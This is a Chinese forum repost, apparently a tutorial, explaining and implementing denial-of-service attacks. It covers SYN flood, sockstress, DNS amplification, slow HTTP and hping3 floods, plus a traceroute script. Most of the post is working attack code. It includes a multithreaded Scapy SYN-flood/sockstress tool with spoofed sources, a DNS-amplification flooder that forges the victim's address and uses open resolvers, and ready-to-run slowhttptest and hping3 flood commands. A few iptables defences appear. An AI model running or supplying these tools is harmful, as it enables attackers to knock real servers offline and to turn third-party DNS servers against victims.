查看: 27|回复: 0

[转载图文] DOS 流量攻击的分类与实现

[复制链接]
发表于 3 天前 | 显示全部楼层 |阅读模式
SynFlood 洪水攻击  Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送大量半连接状态的数据包,从而耗尽目标系统的连接池,默认情况下每一种系统的并发连接都是有限制的,如果恶意攻击持续进行,将会耗尽系统有限的连接池资源。windows 系统半开连接数是10个

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  攻击者伪造地址对服务器发起SYN请求,服务器就会回应 SYN+ACK 此时攻击者的主机拒绝发送 RST+ACK 那么,服务器接收不到RST请求,就会认为客户端还没有准备好,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。
  虽然有丢弃的环节,但是如果攻击者的攻击速度大于目标主机的丢包速度的话,就会发生拒绝服务,因为TCP连接池一旦被填满,那么真正的连接无法建立,无法响应正常请求。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  可以使用scapy工具进行验证,发送一个正常数据包,代码如下,发生攻击后再服务器上通过使用 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}' 匹配所有半开放链接,你可以看都非常多等待状态的连接得不到相应。
ip = IP()
ip.dst="192.168.1.10"
tcp=TCP()
sr1(ip/tcp,verbose=1,timeout=3)
sr1(IP(dst="192.168.1.10")/TCP())
  攻击代码如下
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'

# windows 系统半开连接数是10个
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.1.10 -j DROP
# 匹配所有半开放链接 netstat -n | awk '/^tcp/ {++S[$NF]} END{for(a in S) print a,S[a]}'
# ip = IP()
# ip.dst="192.168.1.10"
# tcp=TCP()
# sr1(ip/tcp,verbose=1,timeout=3)
# sr1(IP(dst="192.168.1.10")/TCP())

target = "192.168.1.20"
dstport = 22
isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
isrc = "192.168.1.2"
print(isrc,dstport)

isport = random.randint(1,65535)
ip = IP(src = isrc,dst = target)
syn = TCP(sport = isport, dport = dstport, flags = 'S')
send(ip / syn, verbose = 0)

Sock Stress 全连接攻击  该攻击方式属于TCP全连接攻击,因为需要建立一次完整的TCP三次握手,该攻击的关键点就在于,攻击主机将windows窗口缓冲设置为0,实现的拒绝服务。
攻击者向目标发送一个很小的流量,但是会造成产生的攻击流量是一个巨大的,该攻击消耗的是目标系统的CPU/内存资源,使用低配版的电脑,依然可以让庞大的服务器拒绝服务,也称之为放大攻击。
  该攻击与目标建立大量的socket连接,并且都是完整连接,最后的ACK包,将Windows大小设置为0,客户端不接收数据,而服务器会认为客户端缓冲区没有准备好,从而一直等待下去(持续等待将使目标机器内存一直被占用),由于是异步攻击,所以单机也可以拒绝高配的服务器。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
#coding=utf-8
import socket, sys, random
from scapy.all import *
scapy.config.conf.iface = 'Realtek PCIe GBE Family Controller'

def sockstress(target,dstport):
xport = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=xport,dport=dstport,flags="S"),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dport=dstport,sport=xport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)

sockstress("192.168.1.20",80)

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  除了自己编写代码实现以外还可以下载一个项目 https://github.com/defuse/sockstress 该项目是发现这个漏洞的作者编写的利用工具,具体使用如下。
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被攻击主机IP -j DROP
wget [url]https://www.blib.cn/sh/sockstress.c[/url]
git clone [url]https://github.com/defuse/sockstress[/url]
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 192.168.1.10:3306 eth0
./sockstress 192.168.1.10:80 eth0 -p payloads/http
  直到今天sockstress攻击仍然效果明显,由于攻击过程建立了完整的TCP三次握手,所以使用syn cookie防御无效,我们可以通过防火墙限制单位时间内每个IP建立的TCP连接数来阻止这种攻击的蔓延。
[[email protected] ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
[[email protected] ~]# iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
  但是该方法依然我发防御DDOS拒绝服务的攻击,这种攻击只能拼机器拼资源了。
  最后将前面两种攻击手段封装成一个,该代码只能在Linux系统下使用。
#coding=utf-8
# iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 被害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
    semaphore.acquire()       # 加锁
    isport = random.randint(0,65535)
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

# 攻击目标主机TCP/IP半开放连接数,windows系统半开连接数是10个
def synflood(target,dstport):
    semaphore.acquire()       # 加锁
    issrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))
    isport = random.randint(1,65535)
    ip = IP(src = issrc,dst = target)
    syn = TCP(sport = isport, dport = dstport, flags = 'S')
    send(ip / syn, verbose = 0)
    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --type=synflood -H 192.168.1.1 -p 80 -t 10
    if options.types == "synflood" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=synflood,args=(options.host,options.port))
            t.start()
    elif options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()
  使用syn flood 攻击方式:python3 c.py --type=synflood -H 192.168.1.10 -p 3389 -t 100
使用sock并发攻击: python3 c.py --type=sockstress  -H 192.168.1.10 -p 80 -t 100

以太网数据包分段  数据包的最大传输单位是1500,如果超过这个大小数据包将会分片传输,分片传输则需要设置传输ID号,以及ip.frag_offset偏移值,当设置了偏移值的时候,系统默认根据ID号为单位对数据包进行分段接收,收到全部包时在进行组合,并传输给系统识别。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  传输第一个数据包时会跟随有MAC头,上层包头等完整信息,传输后续包的时候默认只会保留IP头与数据段,在IP头保留 Fragment offset 说明这是一个分段传输。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  下面以执行ping  -l 5000 192.168.1.10 为例,向目标发送5000字节大小的数据包,5000/1480 = 3.37 也就会分四段进行传输。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  如下图,可以看出每次发送的数据都是,Total Length: 1500,而Fragment offset则指定每一个数据包的实际偏移值,ID则是数据包的分组号。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  最后一个数据包将会把剩下的数据进行传递,并开始差错校验,组合成最终的数据。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现

DNS查询放大攻击  通过网络中存在的DNS服务器资源,对目标主机发起的拒绝服务攻击,其原理是伪造源地址为被攻击目标的地址,向DNS递归服务器发起查询请求,此时由于源IP是伪造的,固在DNS服务器回包的时候,会默认回给伪造的IP地址,从而使DNS服务成为了流量放大和攻击的实施者,通过查询大量的DNS服务器,从而实现反弹大量的查询流量,导致目标主机查询带宽被塞满,实现DDOS的目的。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  此时我们使用scapy工具构建一个DNS请求数据包 sr1(IP(dst="8.8.8.8")/UDP()/DNS(rd=1,qd=DNSQR(qname="qq.com")),timeout=2) 查询指定网站的DNS记录,结果如下。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  上图可以看出,我们所发送的数据长度要小于接收到的数据长度,流量差不多被放大了3倍左右,我们只需要将源地址伪造为被害机器,并使用海量的DNS服务器作为僵尸主机发包,即可完成DDOS攻击。
  这里需要在网上找一些DNS服务器,我整理了一些: https://www.blib.cn/sh/dnslist.log 脚本验证可用性
import socket,os,sys
from scapy.all import *

def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list
proxy = Inspect_DNS_Usability("./dnslist.log")
fp = open("pass.log","w+")
for item in proxy:
    fp.write(item + "\n")
fp.close()
  验证好有效性以后,接着就是Python多线程发包测试了,scapy构建数据包时由于DNS数据包比较特殊,构建是应该按照顺序 IP/UDP/DNS来构建,以下代码可以完成发包测试
import socket,os,sys
from scapy.all import *

# 构造IP数据包
ip_pack = IP()
ip_pack.src = "192.168.1.2"
ip_pack.dst = "8.8.8.8"

# 构造UDP数据包
udp_pack = UDP()
udp_pack.sport = 53
udp_pack.dport = 53

# 构建DNS数据包
dns_pack = DNS()
dns_pack.rd = 1
dns_pack.qdcount = 1

# 构建DNSQR解析
dnsqr_pack = DNSQR()
dnsqr_pack.qname = "baidu.com"
dnsqr_pack.qtype = 255

dns_pack.qd = dnsqr_pack
respon = (ip_pack/udp_pack/dns_pack)
sr1(respon)
  最后的代码如下。
import os,sys,threading,time
from scapy.all import *
from optparse import OptionParser

def Inspect_DNS_Usability(filename):
    proxy_list = []
    fp = open(filename,"r")
    for i in fp.readlines():
        try:
            addr = i.replace("\n","")
            respon = sr1(IP(dst=addr)/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),timeout=2)
            if respon != "":
                proxy_list.append(str(respon["IP"].src))
        except Exception:
            pass
    return proxy_list

def DNS_Flood(target,dns):
    # 构造IP数据包
    ip_pack = IP()
    ip_pack.src = target
    ip_pack.dst = dns
#   ip_pack.src = "192.168.1.2"
#   ip_pack.dst = "8.8.8.8"
    # 构造UDP数据包
    udp_pack = UDP()
    udp_pack.sport = 53
    udp_pack.dport = 53
    # 构造DNS数据包
    dns_pack = DNS()
    dns_pack.rd = 1
    dns_pack.qdcount = 1
    # 构造DNSQR解析
    dnsqr_pack = DNSQR()
    dnsqr_pack.qname = "baidu.com"
    dnsqr_pack.qtype = 255
    dns_pack.qd = dnsqr_pack
    respon = (ip_pack/udp_pack/dns_pack)
    sr1(respon)

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("--mode",dest="mode",help="选择执行命令<check=检查DNS可用性/flood=攻击>")
    parser.add_option("-f","--file",dest="file",help="指定一个DNS字典,里面存储DNSIP地址")
    parser.add_option("-t",dest="target",help="输入需要攻击的IP地址")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --mode=check -f xxx.log
    if options.mode == "check" and options.file:
        proxy = Inspect_DNS_Usability(options.file)
        fp = open("pass.log","w+")
        for item in proxy:
            fp.write(item + "\n")
        fp.close()
        print("[+] DNS地址检查完毕,当前可用DNS保存为 pass.log")
    # 使用方式: main.py --mode=flood -f xxx.log -t 192.168.1.1
    elif options.mode == "flood" and options.target and options.file:
        with open(options.file,"r") as fp:
            countent = [line.rstrip("\n") for line in fp]
            while True:
                randomDNS = str(random.sample(countent,1)[0])
                print("[+] 目标主机: {} -----> 随机DNS: {}".format(options.target,randomDNS))
                t = threading.Thread(target=DNS_Flood,args=(options.target,randomDNS,))
                t.start()
    else:
        parser.print_help()

应用层DOS慢速攻击  slowhttptest: 该攻击是一款慢速攻击工具,其擅长攻击Apache/Tomcat这里应用层服务,通常情况下,http协议在接收到完整的客户端请求数据包时才会开始处理本次请求,但如果攻击者通过修改数据包中的Window窗口大小,实现慢速发送数据包,那么服务器就会始终为其保留连接池资源占用,此类大量的并发请求将会导致目标应用服务的连接池爆满,从而无法相应正常用的请求。
  1.下载并安装
[email protected]:~$ git clone [url]https://github.com/shekyan/slowhttptest.git[/url]
[email protected]:~$ ./configure
[email protected]:~$ make && make install
[email protected]:~$ slowhttptest --help

 -g      在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
 -H      SlowLoris模式
 -B      Slow POST模式
 -R      Range Header模式
 -X      Slow Read模式
 -c      number of connections 测试时建立的连接数
 -d      HTTP proxy host:port  为所有连接指定代理
 -e      HTTP proxy host:port  为探测连接指定代理
 -i      seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
 -l      seconds 测试维持时间
 -n      seconds 在Slow Read模式下,指定每次操作的时间间隔。
 -o      file name 使用-g参数时,可以使用此参数指定输出文件名
 -p      seconds 指定等待时间来确认DoS攻击已经成功
 -r      connections per second 每秒连接个数
 -s      bytes 声明Content-Length header的值
 -t      HTTP verb 在请求时使用什么操作,默认GET
 -u      URL  指定目标url
 -v      level 日志等级(详细度)
 -w      bytes slow read模式中指定tcp窗口范围下限
 -x      bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
 -y      bytes slow read模式中指定tcp窗口范围上限
 -z      bytes 在每次的read()中,从buffer中读取数据量
  2.使用方式.
slowloris模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u [url]https://www.xxx.com/index.html[/url] -x 24 -p 3

slow post模式:耗尽应用的并发连接池,类似于HTTP层的syn flood 洪水攻击

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u [url]https://www.xxx.com/index.html[/url] -x 10 -p 3

slow read模式:攻击者通过调整TCP Window窗口大小,使服务器慢速返回数据

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u [url]https://www.xxx.com/index.html[/url] -p 3
  Hping3: 工具的使用,该工具灵活性极高,常用于定制发送TCP/IP数据包,例如定制SYN Flood攻击包,ICMP/UDP等攻击
# 进行Syn Flood攻击, -c=攻击次数/ -d=数据包大小/ -S=Syn/ -p=端口 / -w = window窗口大小 / --flood=洪水攻击 --rand-source=随机源地址
hping3 - c 2000 -d 100 -S -w 64 -p 80 --flood --rand-source 192.168.1.10
hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.10

# 进行TCP Flood攻击,
hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.10

# 进行UDP flood 攻击
hping3 -a 192.168.1.10 --udp -s 53 -d 100 -p 53 --flood 192.168.1.10

# 进行ICMP攻击
hping3 -q -n -a 192.168.1.10 --icmp -d 56 --flood 192.168.1.10

# 特殊TCP攻击:源地址目标地址都是受害者,受害者自己完成三次握手
hping3 -n -a 192.168.1.10 -S -d 100 -p 80 --flood 192.168.1.10

tracert TTL值(拓展)  tracert 命令,跟踪路由原理是IP路由每经过一个路由节点TTL值会减一,假设TTL值=0时数据包还没有到达目标主机,那么该路由则会回复给目标主机一个数据包不可达,由此我们就可以获取到目标主机的IP地址,如下通过scapy构造一个TTL为1的数据包,发送出去。
>>> from random import randint
>>> RandomID=randint(1,65534)
>>> packet = IP(dst="61.135.169.125", ttl=1, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "hello"
>>> respon = sr1(packet,timeout=3,verbose=0)
>>>
>>> respon
<IP  version=4 ihl=5 tos=0xc0 len=61 id=14866 flags= frag=0 ttl=64 proto=icmp chksum=0xbc9a src=192.168.1.1 dst=192.168.1.2 |<ICMP  type=time-exceeded code=ttl-zero-during-transit chksum=0xf4ff reserved=0 length=0 unused=None |<IPerror  version=4 ihl=5 tos=0x0 len=33 id=49588 flags= frag=0 ttl=1 proto=icmp chksum=0x4f79 src=192.168.1.2 dst=61.135.169.125 |<ICMPerror  type=echo-request code=0 chksum=0x30c4 id=0xc1b4 seq=0xc1b4 |<Raw  load='hello' |>>>>>
  一開始发送一个TTL为1的包,这样到达第一个路由器的时候就已经超时了,第一个路由器就发ICMP通知说包超时,这样就能够记录下所经过的第一个路由器的IP。然后将TTL加1,安全通过第一个路由器,而第二个路由器的的处理与第一个同样,丢包,发通知说包超时了,这样记录下第二个路 由器IP,由此能够一直进行下去,直到这个数据包到达目标主机,由此打印出全部经过的路由器。

DOS 流量攻击的分类与实现

DOS 流量攻击的分类与实现
  将这个过程自动化,就可以完成数据包的跟踪,Python 代码如下所示
from scapy.all import *
from random import randint
import time,ipaddress,threading
from optparse import OptionParser

def ICMP_Ping(addr):
    RandomID=randint(1,65534)
    packet = IP(dst=addr, ttl=64, id=RandomID) / ICMP(id=RandomID, seq=RandomID) / "lyshark"
    respon = sr1(packet,timeout=3,verbose=0)
    if respon:
        print("[+] --> {}".format(str(respon[IP].src)))

def TraceRouteTTL(addr):
    for item in range(1,128):
        RandomID=randint(1,65534)
        packet = IP(dst=addr, ttl=item, id=RandomID) / ICMP(id=RandomID, seq=RandomID)
        respon = sr1(packet,timeout=3,verbose=0)
        if respon != None:
            ip_src = str(respon[IP].src)
            if ip_src != addr:
                print("[+] --> {}".format(str(respon[IP].src)))
            else:
                print("[+] --> {}".format(str(respon[IP].src)))
                return 1
        else:
            print("[-] --> TimeOut")
        time.sleep(1)

if __name__== "__main__":
    parser = OptionParser()
    parser.add_option("--mode",dest="mode",help="选择使用的工具模式<ping/trace>")
    parser.add_option("-a","--addr",dest="addr",help="指定一个IP地址或范围")
    (options,args) = parser.parse_args()
    # 使用方式: main.py --mode=ping -a 192.168.1.0/24
    if options.mode == "ping":
        net = ipaddress.ip_network(str(options.addr))
        for item in net:
            t = threading.Thread(target=ICMP_Ping,args=(str(item),))
            t.start()
    # 使用方式: main.py --mode=trace -a 61.135.169.121
    elif options.mode == "trace":
        TraceRouteTTL(str(options.addr))
    else:
        parser.print_help()


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
快速回复 返回顶部 返回列表